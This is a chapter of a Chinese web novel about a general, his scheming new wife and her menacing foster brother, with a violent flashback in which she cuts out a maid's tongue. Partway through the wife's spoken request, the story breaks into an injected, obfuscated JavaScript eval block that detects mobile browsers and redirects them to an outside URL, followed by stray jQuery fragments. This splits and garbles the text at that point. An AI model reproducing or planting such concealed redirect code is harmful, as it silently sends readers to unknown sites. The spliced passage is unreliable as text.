3. 新妇美似霜雪

作品:《再婚太子妃

    岳云修,二十六岁,领军抗辽,寒冬凯旋,获封承宣使,一时间,威名远扬。


    年少功成,高风亮节,岳府何等风光。却不想这岳将军骁勇善战,私下却心慈面软,善良过了头,竟引狼入室。


    新妇进门,直至十二月中旬,岳云修方归府,静立于厅前受家中主母教诲。


    主母李氏满腔怒火。


    “恬不知耻岑氏女!我岳府素来清名远扬,何曾受过此等玷污?!”


    “呵...岑氏其母倒真会算计,谁能想到当初还只是府中最不起眼的庶子,如今却扶摇直上了呢。偏她,慧眼如炬...”


    岳云修生母早亡,从前,他也只是家中毫不起眼的庶子。谁曾想,世事难料,李氏所生嫡子瘫痪在床,其余郎君皆纨绔,独他一人卓尔不群。


    李氏语气尖酸刻薄,又怒其不争。


    “如今她家中出事,自然是要上赶着依附于你。”


    “我真不知你是心善还是愚蠢,你一人做好事,什么牛鬼蛇神都敢往家里请,可有想过这疯妇在满京城的名声?让整个岳府都为此蒙羞!”


    她追悔莫及:“早知如此,我当初就该做主,退了这门婚事,本就是罪臣余孽,如今到这个地步,真是脏了我岳家门楣!”


    岳云修轻轻蹙眉,柔声答道:“云修的婚事云修自己做主,不劳主母烦心。”


    他稍加思索,又道:“这岑氏女到底无辜,本就与我有婚约。我婚前乱性,破了她完璧之身,理应对她负责。”


    “你!”,李氏欲责骂,却被他打断。


    “云修在外征战,在京城受百姓爱戴,如今岳府声名显赫,云修虽不敢自认是我一人之功,但也尽心尽力为整个岳家,瑕不掩瑜,仅一些风言风语,市井间偶然流传也就罢了,主母何须如此在意?”


    “那疯妇这般不知廉耻,尚未与你成婚之时,便放/荡至此,谁知道她背后何等肮脏!与娼妓何异!”


    岳云修神色自若,眉眼中却透着丝丝冷峻,言缓而意决:“她现在是我的妻子,请主母予她尊重,勿让云修也觉为难。”


    岳云修淡然告辞,留李氏气得捶胸顿足。


    一连又是好几日的雪,下人虽添了新的冬衣,也都冻得蜷缩着身子,他行至主屋,却不见候在一旁的下人。


    主屋传来嘈杂声,是新妇与几个侍女一同围坐着,正烤火。


    岑霜已挽起发髻,同周边人说话时,笑眼婉婉,众人丝毫未曾察觉,他已持伞静立于雪中。


    他的新妇,是个容貌倾城的美人。


    冰肌玉骨,眼如寒月,唇不点而含丹,身姿纤秀如竹影临风。


    人如其名,美得似霜似雪。


    而她此番举止,像是体谅下人,亦像装腔作势。


    岑霜正教她们辨识草药,终于注意到岳云修,惊慌间起身。


    “官...官人。”


    “三郎君!”,众侍女也惊慌行礼。


    岳云修大步流星,招手示意她们退下。


    人已行至身前,岑霜俯首,于岳云修她终是心中有愧,言行举止皆不敢逾矩。


    ...


    “你懂医术?”


    岳云修神色七分审视,三分冷峻。


    “妾的母亲原先就是医女。”


    “医术,你可精通?”


    “妾不敢称精通。”


    “不敢?你有何不敢?”,岳云修冷言,“你的医术,我见识不止一次了。”


    那日中计,便是岑霜点了迷魂香,那香气分明与檀香无异,岳云修便毫无防备。


    岑霜对他人的情绪很是敏锐,见情势不好,她温声道歉:“妾自知愧对于官人,更不敢求得官人原谅,只是妾当时实属被逼无奈,才出此下策。”


    “你欲毒杀四皇子,也是被逼无奈?”


    “那是妾一时疯魔,险些酿成惨祸。”


    “我更想知道,你毒杀四皇子,是如何逃脱罪责的?”


    “如四殿下所言,是妾一时鬼迷心窍,且未弄清事情原委,故对四殿下下了毒。但妾又不敢坏事做绝,便又拼死相救。四皇子仁慈,念在妾遭受重创不久,开恩饶了妾一命。”


    “你当皇家威严是同你说的那般如儿戏吗?”,岳云修自然不信。


    岑霜眼神柔婉,望他片刻,又道:“请官人相信妾,妾只知道这些。”


    “妾当时以为,母兄因他而获罪,他却置身事外,妾不恨是假的。可妾并未真的想要谋害四殿下性命,所以四殿下便宽恕了妾的罪。”,她一口咬定。


    岳云修望着她,只觉她同第一次相见时略有不同。


    初见时,她装得楚楚可怜,实则诡计多端,而此刻,她貌似情真意切。


    相同的是,他一样分辨不出真假。


    当然是假话。


    事实上,刘佑卿当然可以杀她,可如若她一家三口皆因他而死,别说陛下,怕是旁人也会起疑,认为刘佑卿是真有什么心思,要杀人灭口,连她这一弱女子都不放过,难保不会被人做文章,就连她们的死因也会被认为是他的计谋。


    刘佑卿放了她虽然也免不了让人怀疑,但反倒衬得他光明磊落,他于京城的名声也立得更稳,也为她母兄的死留一份申冤的可能。


    这是她所猜测,也确是刘佑卿所想。


    岳云修眼神颇有深意,紧盯着她。


    他身形魁梧,眼神肃杀,看得岑霜有些畏缩。


    “请官人原谅那次...妾愿受责罚。”,岑霜垂眸,“妾如今已是官人的妻,定会恪守本分,尽到为人妇的职责。”


    ...


    “不必如此低声下气。”,岳云修却道。


    岑霜故作触动:“官人?”


    “我从未想过悔婚,更没想过责罚你。”


    岑霜眼中噙泪,点头,温声道:“多谢官人。”


    “只是我素来看不惯城府深重之人。”,岳云修浓眉蹙作一团,“你尚且年轻,即使万般无奈,也千不该万不该自毁名节,逼我迎娶你。”


    “是妾错了,连累官人乃至岳府,为人耻笑。”


    岳云修厉声警告:“我平生最恨心口不一、虚与委蛇之人,请娘子自重,否则我绝不姑息。”


    岑霜敛容,答道:“妾明白。”


    风雪正盛,他衣摆沾湿了大片。


    岑霜为她更衣,又似有心事。


    见她忧心忡忡,岳云修问道:“下人可有为难你?”


    她如今早已是身败名裂,怕是到哪里都惹人鄙夷。


    岑霜却莞尔:“官人不必担心,方才官人也看到了,其乐融融。”


    不受轻视是假,他大概能想到,这半月来,岑霜如何降尊纡贵,讨好他们。


    “不必忍气吞声,只要不过分苛责他们便可。”


    岑霜温声:“是,官人不必担心。”


    “你如愿有了‘庇护’,又为何事忧心?”


    “妾恐烦扰官人,但妾确有一事。”,她倒不掩饰,迫切请求,“妾有一个丫鬟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206264|197354||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    叫念安,母亲兄长出事后,府中混乱,她只得逃离岑府,至此没了踪迹。”


    “她是哑女,自小服侍我,孤身在外,我怕她无处谋生...”,她愁容满面,又欲落泪。


    “念安?哑女?”


    “是。”


    “我会替你找到他。”,他换了青白色襕衫,面不改色。


    岳云修不知道,为他更衣的这双手,亲手割下了那丫鬟的舌头。


    目睹岑景的丧心病狂,为保全念安的性命,她只得如此。


    岑霜狠心一刀,鲜血充斥念安整个口腔,她痛得抽搐倒地。


    惨叫声不绝于耳。


    那晚,三人的鲜血沾了岑霜满身,时至今日,历历在目。


    “念安不识字,我已割下她的舌头,还会消去她音声之处,绝不会让她泄密。”,岑霜眼泪成股流出,抖如筛糠,生硬地恳求岑景,“求你绕她一命...放她离开岑府...”


    眼下,岑霜强撑着哀痛:“多谢官人。”


    【希望她还活着...】


    深夜,二人共枕而眠,相安无事。


    —


    岑府,岑景对月独酌。


    他眼神空洞似狼,眯眼又似狐狸般妖艳。


    独坐院外,雪覆了他满身。


    有小厮谨慎来劝道:“主家,雪大,别冻着了您...”


    “大小姐不回来吗?”,他明知故问。


    “这...主家,今日承宣使岳云修...已迎娶大小姐进门了呀...”


    “岳云修...”,他摩挲着拿在手中的信纸。


    岑景抬手遮眼,信纸早已被融雪沾湿,信封上字迹模糊:景哥哥亲启。


    他将那信随身携带,却从未打开。


    时至今日,少女的真心早就烟消云散,万丈情意亦似这字迹一般,面目全非。


    一年以前,岑霜十六岁,写信赠他。


    那时的岑霜天真认为,感情须要情投意合,妄想与命定之人相守。


    那时,也在这个院子,她伏于岑景双膝。


    少女青丝如瀑、唇齿如花。


    “母亲说,她为我定了一桩婚事,十八岁,我就要嫁人了。”


    “那人如何?”


    “母亲只说他如哥哥一般,浩然正气,是最适合我的良缘。”


    岑景狡黠的目光中闪过一抹寒意。


    他打趣道:“霜儿怎么想?喜欢他吗?”


    岑霜嗔怒,白他一眼。


    “我与他素昧平生,便要嫁他,即使真是天赐良缘,我...我也不愿。我只想和心爱的人在一起...”,她不禁羞涩,望向岑景。


    “况且那人再好,若是不爱我,我亦不爱他,岂不是相互耽误吗?”


    岑景笑眼弯弯,手指轻抚她的面颊。


    那时她被岑景哄骗,信他是被抱养而来,满怀期待,有朝一日能与岑景长相厮守。


    “景哥哥...你...既不是岑氏亲生子,且错也不在你...何不自立门户?”


    岑景知晓她心思,眼神宠溺。


    可质疑他身世的人不在少数,胡编乱造便想轻易转换身份,对他来说不是万全之策。


    他轻声道:“不急,霜儿,我们会等到名正言顺那一天的。”


    雪越下越大,岑景早已浑身冻僵,他毫不在意,一副傲睨自若之态,月亮映入他瞳孔,他的微笑不带一丝温度。


    【霜儿,铲除了一切阻碍,我们就名正言顺了...】